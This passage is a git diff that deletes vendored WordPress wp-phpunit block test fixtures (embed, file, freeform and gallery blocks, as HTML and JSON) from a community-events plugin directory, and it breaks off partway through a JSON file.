      - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__embed.server.html b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__embed.server.html deleted file mode 100644 index 6210367e..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__embed.server.html +++ /dev/null @@ -1,8 +0,0 @@ - -
      -
      - https://example.com/ -
      -
      Embedded content from an example URL
      -
      - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__file__new-window.html b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__file__new-window.html deleted file mode 100644 index 9c489088..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__file__new-window.html +++ /dev/null @@ -1,3 +0,0 @@ - - - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__file__new-window.json b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__file__new-window.json deleted file mode 100644 index 378ae6dd..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__file__new-window.json +++ /dev/null @@ -1,18 +0,0 @@ -[ - { - "clientId": "_clientId_0", - "name": "core/file", - "isValid": true, - "attributes": { - "id": 176, - "href": "http://localhost:8888/wp-content/uploads/2018/05/keycodes.js", - "fileName": "6546", - "textLinkHref": "http://localhost:8888/wp-content/uploads/2018/05/keycodes.js", - "textLinkTarget": "_blank", - "showDownloadButton": true, - "downloadButtonText": "Download" - }, - "innerBlocks": [], - "originalContent": "" - } -] diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__file__new-window.parsed.json b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__file__new-window.parsed.json deleted file mode 100644 index a29bea33..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__file__new-window.parsed.json +++ /dev/null @@ -1,24 +0,0 @@ -[ - { - "blockName": "core/file", - "attrs": { - "href": "http://localhost:8888/wp-content/uploads/2018/05/keycodes.js", - "showDownloadButton": true, - "id": 176 - }, - "innerBlocks": [], - "innerHTML": "\n\n", - "innerContent": [ - "\n\n" - ] - }, - { - "blockName": null, - "attrs": {}, - "innerBlocks": [], - "innerHTML": "\n", - "innerContent": [ - "\n" - ] - } -] diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__file__new-window.serialized.html b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__file__new-window.serialized.html deleted file mode 100644 index f132127d..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__file__new-window.serialized.html +++ /dev/null @@ -1,3 +0,0 @@ - - - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__file__new-window.server.html b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__file__new-window.server.html deleted file mode 100644 index 8aca3416..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__file__new-window.server.html +++ /dev/null @@ -1,3 +0,0 @@ - - - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__file__no-download-button.html b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__file__no-download-button.html deleted file mode 100644 index 54d82d43..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__file__no-download-button.html +++ /dev/null @@ -1,3 +0,0 @@ - - - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__file__no-download-button.json b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__file__no-download-button.json deleted file mode 100644 index 44ff5553..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__file__no-download-button.json +++ /dev/null @@ -1,17 +0,0 @@ -[ - { - "clientId": "_clientId_0", - "name": "core/file", - "isValid": true, - "attributes": { - "id": 176, - "href": "http://localhost:8888/wp-content/uploads/2018/05/keycodes.js", - "fileName": "lkjfijwef", - "textLinkHref": "http://localhost:8888/?attachment_id=176", - "showDownloadButton": false, - "downloadButtonText": "" - }, - "innerBlocks": [], - "originalContent": "" - } -] diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__file__no-download-button.parsed.json b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__file__no-download-button.parsed.json deleted file mode 100644 index ac019b96..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__file__no-download-button.parsed.json +++ /dev/null @@ -1,24 +0,0 @@ -[ - { - "blockName": "core/file", - "attrs": { - "href": "http://localhost:8888/wp-content/uploads/2018/05/keycodes.js", - "showDownloadButton": false, - "id": 176 - }, - "innerBlocks": [], - "innerHTML": "\n\n", - "innerContent": [ - "\n\n" - ] - }, - { - "blockName": null, - "attrs": {}, - "innerBlocks": [], - "innerHTML": "\n", - "innerContent": [ - "\n" - ] - } -] diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__file__no-download-button.serialized.html b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__file__no-download-button.serialized.html deleted file mode 100644 index 639e3e6c..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__file__no-download-button.serialized.html +++ /dev/null @@ -1,3 +0,0 @@ - - - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__file__no-download-button.server.html b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__file__no-download-button.server.html deleted file mode 100644 index ceaf094b..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__file__no-download-button.server.html +++ /dev/null @@ -1,3 +0,0 @@ - - - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__file__no-text-link.html b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__file__no-text-link.html deleted file mode 100644 index 02fd463d..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__file__no-text-link.html +++ /dev/null @@ -1,3 +0,0 @@ - - - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__file__no-text-link.json b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__file__no-text-link.json deleted file mode 100644 index ec3e7b67..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__file__no-text-link.json +++ /dev/null @@ -1,16 +0,0 @@ -[ - { - "clientId": "_clientId_0", - "name": "core/file", - "isValid": true, - "attributes": { - "id": 176, - "href": "http://localhost:8888/wp-content/uploads/2018/05/keycodes.js", - "fileName": "", - "showDownloadButton": true, - "downloadButtonText": "Download" - }, - "innerBlocks": [], - "originalContent": "" - } -] diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__file__no-text-link.parsed.json b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__file__no-text-link.parsed.json deleted file mode 100644 index d70321c1..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__file__no-text-link.parsed.json +++ /dev/null @@ -1,24 +0,0 @@ -[ - { - "blockName": "core/file", - "attrs": { - "href": "http://localhost:8888/wp-content/uploads/2018/05/keycodes.js", - "showDownloadButton": true, - "id": 176 - }, - "innerBlocks": [], - "innerHTML": "\n\n", - "innerContent": [ - "\n\n" - ] - }, - { - "blockName": null, - "attrs": {}, - "innerBlocks": [], - "innerHTML": "\n", - "innerContent": [ - "\n" - ] - } -] diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__file__no-text-link.serialized.html b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__file__no-text-link.serialized.html deleted file mode 100644 index 1289b312..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__file__no-text-link.serialized.html +++ /dev/null @@ -1,3 +0,0 @@ - - - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__file__no-text-link.server.html b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__file__no-text-link.server.html deleted file mode 100644 index 8e56caff..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__file__no-text-link.server.html +++ /dev/null @@ -1,3 +0,0 @@ - - - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__freeform.html b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__freeform.html deleted file mode 100644 index 302e9448..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__freeform.html +++ /dev/null @@ -1,6 +0,0 @@ - -Testing freeform block with some -
      - HTML content -
      - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__freeform.json b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__freeform.json deleted file mode 100644 index 72341f09..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__freeform.json +++ /dev/null @@ -1,12 +0,0 @@ -[ - { - "clientId": "_clientId_0", - "name": "core/freeform", - "isValid": true, - "attributes": { - "content": "

      Testing freeform block with some\n

      \n\tHTML content\n
      " - }, - "innerBlocks": [], - "originalContent": "

      Testing freeform block with some\n

      \n\tHTML content\n
      " - } -] diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__freeform.parsed.json b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__freeform.parsed.json deleted file mode 100644 index 1ec86e57..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__freeform.parsed.json +++ /dev/null @@ -1,20 +0,0 @@ -[ - { - "blockName": "core/freeform", - "attrs": {}, - "innerBlocks": [], - "innerHTML": "\nTesting freeform block with some\n
      \n\tHTML content\n
      \n", - "innerContent": [ - "\nTesting freeform block with some\n
      \n\tHTML content\n
      \n" - ] - }, - { - "blockName": null, - "attrs": {}, - "innerBlocks": [], - "innerHTML": "\n", - "innerContent": [ - "\n" - ] - } -] diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__freeform.serialized.html b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__freeform.serialized.html deleted file mode 100644 index 4fed0455..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__freeform.serialized.html +++ /dev/null @@ -1,4 +0,0 @@ -

      Testing freeform block with some -

      - HTML content -
      diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__freeform.server.html b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__freeform.server.html deleted file mode 100644 index 384bea05..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__freeform.server.html +++ /dev/null @@ -1,6 +0,0 @@ - -Testing freeform block with some -
      - HTML content -
      - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__freeform__undelimited.html b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__freeform__undelimited.html deleted file mode 100644 index 2c349303..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__freeform__undelimited.html +++ /dev/null @@ -1,4 +0,0 @@ -Testing freeform block with some -
      - HTML content -
      diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__freeform__undelimited.json b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__freeform__undelimited.json deleted file mode 100644 index 72341f09..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__freeform__undelimited.json +++ /dev/null @@ -1,12 +0,0 @@ -[ - { - "clientId": "_clientId_0", - "name": "core/freeform", - "isValid": true, - "attributes": { - "content": "

      Testing freeform block with some\n

      \n\tHTML content\n
      " - }, - "innerBlocks": [], - "originalContent": "

      Testing freeform block with some\n

      \n\tHTML content\n
      " - } -] diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__freeform__undelimited.parsed.json b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__freeform__undelimited.parsed.json deleted file mode 100644 index 4aca91e2..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__freeform__undelimited.parsed.json +++ /dev/null @@ -1,11 +0,0 @@ -[ - { - "blockName": null, - "attrs": {}, - "innerBlocks": [], - "innerHTML": "Testing freeform block with some\n
      \n\tHTML content\n
      \n", - "innerContent": [ - "Testing freeform block with some\n
      \n\tHTML content\n
      \n" - ] - } -] diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__freeform__undelimited.serialized.html b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__freeform__undelimited.serialized.html deleted file mode 100644 index 4fed0455..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__freeform__undelimited.serialized.html +++ /dev/null @@ -1,4 +0,0 @@ -

      Testing freeform block with some -

      - HTML content -
      diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__freeform__undelimited.server.html b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__freeform__undelimited.server.html deleted file mode 100644 index 2c349303..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__freeform__undelimited.server.html +++ /dev/null @@ -1,4 +0,0 @@ -Testing freeform block with some -
      - HTML content -
      diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__gallery-with-caption.html b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__gallery-with-caption.html deleted file mode 100644 index 498c7752..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__gallery-with-caption.html +++ /dev/null @@ -1,26 +0,0 @@ - - - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__gallery-with-caption.json b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__gallery-with-caption.json deleted file mode 100644 index 12b51660..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__gallery-with-caption.json +++ /dev/null @@ -1,46 +0,0 @@ -[ - { - "name": "core/gallery", - "isValid": true, - "attributes": { - "images": [], - "ids": [], - "shortCodeTransforms": [], - "caption": "Gallery Caption", - "imageCrop": true, - "fixedHeight": true, - "linkTo": "none", - "sizeSlug": "large", - "allowResize": false, - "className": "columns-2" - }, - "innerBlocks": [ - { - "name": "core/image", - "isValid": true, - "attributes": { - "url": "https://sergioestevaofolio.files.wordpress.com/2016/09/cropped-img_9054-1.jpg?w=190", - "alt": "Image gallery image", - "caption": "", - "id": 1421, - "sizeSlug": "large", - "linkDestination": "none" - }, - "innerBlocks": [] - }, - { - "name": "core/image", - "isValid": true, - "attributes": { - "url": "https://sergioestevaofolio.files.wordpress.com/2017/09/cropped-l1001498-1.jpg?w=580", - "alt": "Image gallery image", - "caption": "", - "id": 1440, - "sizeSlug": "large", - "linkDestination": "none" - }, - "innerBlocks": [] - } - ] - } -] diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__gallery-with-caption.parsed.json b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__gallery-with-caption.parsed.json deleted file mode 100644 index 619adef3..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__gallery-with-caption.parsed.json +++ /dev/null @@ -1,62 +0,0 @@ -[ - { - "blockName": "core/gallery", - "attrs": { - "linkTo": "none" - }, - "innerBlocks": [ - { - "blockName": "core/image", - "attrs": { - "id": 1421, - "sizeSlug": "large", - "linkDestination": "none", - "inheritedAttributes": { - "linkDestination": true, - "linkTarget": true, - "sizeSlug": true - } - }, - "innerBlocks": [], - "innerHTML": "\n\t
      \n\t\t\n\t
      \n\t", - "innerContent": [ - "\n\t
      \n\t\t\n\t
      \n\t" - ] - }, - { - "blockName": "core/image", - "attrs": { - "id": 1440, - "sizeSlug": "large", - "linkDestination": "none", - "inheritedAttributes": { - "linkDestination": true, - "linkTarget": true, - "sizeSlug": true - } - }, - "innerBlocks": [], - "innerHTML": "\n\t
      \n\t\t\n\t
      \n\t", - "innerContent": [ - "\n\t
      \n\t\t\n\t
      \n\t" - ] - } - ], - "innerHTML": "\n\n\t\n\n\t\n\t\n\n", - "innerContent": [ - "\n\n\t", - null, - "\n\n\t", - null, - "\n\t\n\n" - ] - }, - { - "blockName": null, - "attrs": {}, - "innerBlocks": [], - "innerHTML": "\n", - "innerContent": [ "\n" ] - } - -] diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__gallery-with-caption.serialized.html b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__gallery-with-caption.serialized.html deleted file mode 100644 index 0eeab028..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__gallery-with-caption.serialized.html +++ /dev/null @@ -1,9 +0,0 @@ - - - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__gallery-with-caption.server.html b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__gallery-with-caption.server.html deleted file mode 100644 index 49912d63..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__gallery-with-caption.server.html +++ /dev/null @@ -1,26 +0,0 @@ - - - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__gallery.html b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__gallery.html deleted file mode 100644 index 3db587c8..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__gallery.html +++ /dev/null @@ -1,25 +0,0 @@ - - - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__gallery.json b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__gallery.json deleted file mode 100644 index 8b7a1000..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__gallery.json +++ /dev/null @@ -1,46 +0,0 @@ -[ - { - "name": "core/gallery", - "isValid": true, - "attributes": { - "images": [], - "ids": [], - "shortCodeTransforms": [], - "caption": "", - "imageCrop": true, - "fixedHeight": true, - "linkTo": "none", - "sizeSlug": "large", - "allowResize": false, - "className": "columns-2" - }, - "innerBlocks": [ - { - "name": "core/image", - "isValid": true, - "attributes": { - "url": "https://sergioestevaofolio.files.wordpress.com/2016/09/cropped-img_9054-1.jpg?w=190", - "alt": "Image gallery image", - "caption": "", - "id": 1421, - "sizeSlug": "large", - "linkDestination": "none" - }, - "innerBlocks": [] - }, - { - "name": "core/image", - "isValid": true, - "attributes": { - "url": "https://sergioestevaofolio.files.wordpress.com/2017/09/cropped-l1001498-1.jpg?w=580", - "alt": "Image gallery image", - "caption": "", - "id": 1440, - "sizeSlug": "large", - "linkDestination": "none" - }, - "innerBlocks": [] - } - ] - } -] diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__gallery.parsed.json b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__gallery.parsed.json deleted file mode 100644 index 4ddf4ca3..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__gallery.parsed.json +++ /dev/null @@ -1,53 +0,0 @@ -[ - { - "blockName": "core/gallery", - "attrs": { - "linkTo": "none", - "className": "columns-2" - }, - "innerBlocks": [ - { - "blockName": "core/image", - "attrs": { - "id": 1421, - "sizeSlug": "large", - "linkDestination": "none" - }, - "innerBlocks": [], - "innerHTML": "\n\t
      \n\t\t\n\t
      \n\t", - "innerContent": [ - "\n\t
      \n\t\t\n\t
      \n\t" - ] - }, - { - "blockName": "core/image", - "attrs": { - "id": 1440, - "sizeSlug": "large", - "linkDestination": "none" - }, - "innerBlocks": [], - "innerHTML": "\n\t
      \n\t\t\n\t
      \n\t", - "innerContent": [ - "\n\t
      \n\t\t\n\t
      \n\t" - ] - } - ], - "innerHTML": "\n\n\t\n\n\t\n\n", - "innerContent": [ - "\n\n\t", - null, - "\n\n\t", - null, - "\n\n" - ] - }, - { - "blockName": null, - "attrs": {}, - "innerBlocks": [], - "innerHTML": "\n", - "innerContent": [ "\n" ] - } - -] diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__gallery.serialized.html b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__gallery.serialized.html deleted file mode 100644 index 6ab87b7c..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__gallery.serialized.html +++ /dev/null @@ -1,9 +0,0 @@ - - - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__gallery.server.html b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__gallery.server.html deleted file mode 100644 index 051cc297..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__gallery.server.html +++ /dev/null @@ -1,25 +0,0 @@ - - - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__gallery__columns.html b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__gallery__columns.html deleted file mode 100644 index b70ac2b6..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__gallery__columns.html +++ /dev/null @@ -1,23 +0,0 @@ - - - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__gallery__columns.json b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__gallery__columns.json deleted file mode 100644 index d0c40b3d..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__gallery__columns.json +++ /dev/null @@ -1,46 +0,0 @@ -[ - { - "name": "core/gallery", - "isValid": true, - "attributes": { - "images": [], - "ids": [], - "shortCodeTransforms": [], - "columns": 1, - "caption": "", - "imageCrop": true, - "fixedHeight": true, - "linkTo": "none", - "sizeSlug": "large", - "allowResize": false - }, - "innerBlocks": [ - { - "name": "core/image", - "isValid": true, - "attributes": { - "url": "https://sergioestevaofolio.files.wordpress.com/2016/09/cropped-img_9054-1.jpg?w=190", - "alt": "Image gallery image", - "caption": "", - "id": 1421, - "sizeSlug": "large", - "linkDestination": "none" - }, - "innerBlocks": [] - }, - { - "name": "core/image", - "isValid": true, - "attributes": { - "url": "https://sergioestevaofolio.files.wordpress.com/2017/09/cropped-l1001498-1.jpg?w=580", - "alt": "Image gallery image", - "caption": "", - "id": 1440, - "sizeSlug": "large", - "linkDestination": "none" - }, - "innerBlocks": [] - } - ] - } -] diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__gallery__columns.parsed.json b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__gallery__columns.parsed.json deleted file mode 100644 index b7a56415..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__gallery__columns.parsed.json +++ /dev/null @@ -1,62 +0,0 @@ -[ - { - "blockName": 